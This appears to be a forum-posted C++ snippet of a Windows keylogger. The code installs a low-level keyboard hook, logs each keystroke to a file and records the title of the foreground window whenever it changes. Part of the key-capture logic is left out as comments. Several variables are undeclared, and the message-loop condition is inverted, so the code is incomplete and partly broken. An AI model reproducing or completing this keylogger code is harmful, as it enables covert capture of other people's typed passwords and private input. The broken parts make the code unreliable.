1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
string global_owtb="";
BOOL CALLBACK EnumWindowsProc(HWND window_handle, LPARAM lparam_window){
char window_title_buffer[256]={0};
//handle for active window
window_handle=GetForegroundWindow();
int window_text_length=GetWindowText(window_handle,window_title_buffer,256);
//convert buffer to string for comparison
string wtb(window_title_buffer);
if (wtb!=global_owtb){
cout << window_title_buffer << "\n";
}
global_owtb=wtb;
return false;
}
LRESULT CALLBACK keyboardproc ( int nCode , WPARAM wparam , LPARAM lparam){
if(wparam == WM_KEYDOWN){
//.....
//code to get the specific key
//.....
//print keystroke
write_to_file(strTo, cKey.vkCode);
}
//call window title if it has changed
EnumWindows(EnumWindowsProc, 0);
return CallNextHookEx(hHock , nCode ,wparam , lparam);
}
int main(){
//install keyboard hook
hHock = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc , NULL,0);
MSG msg;
while(!GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
cout << "ende";
};
|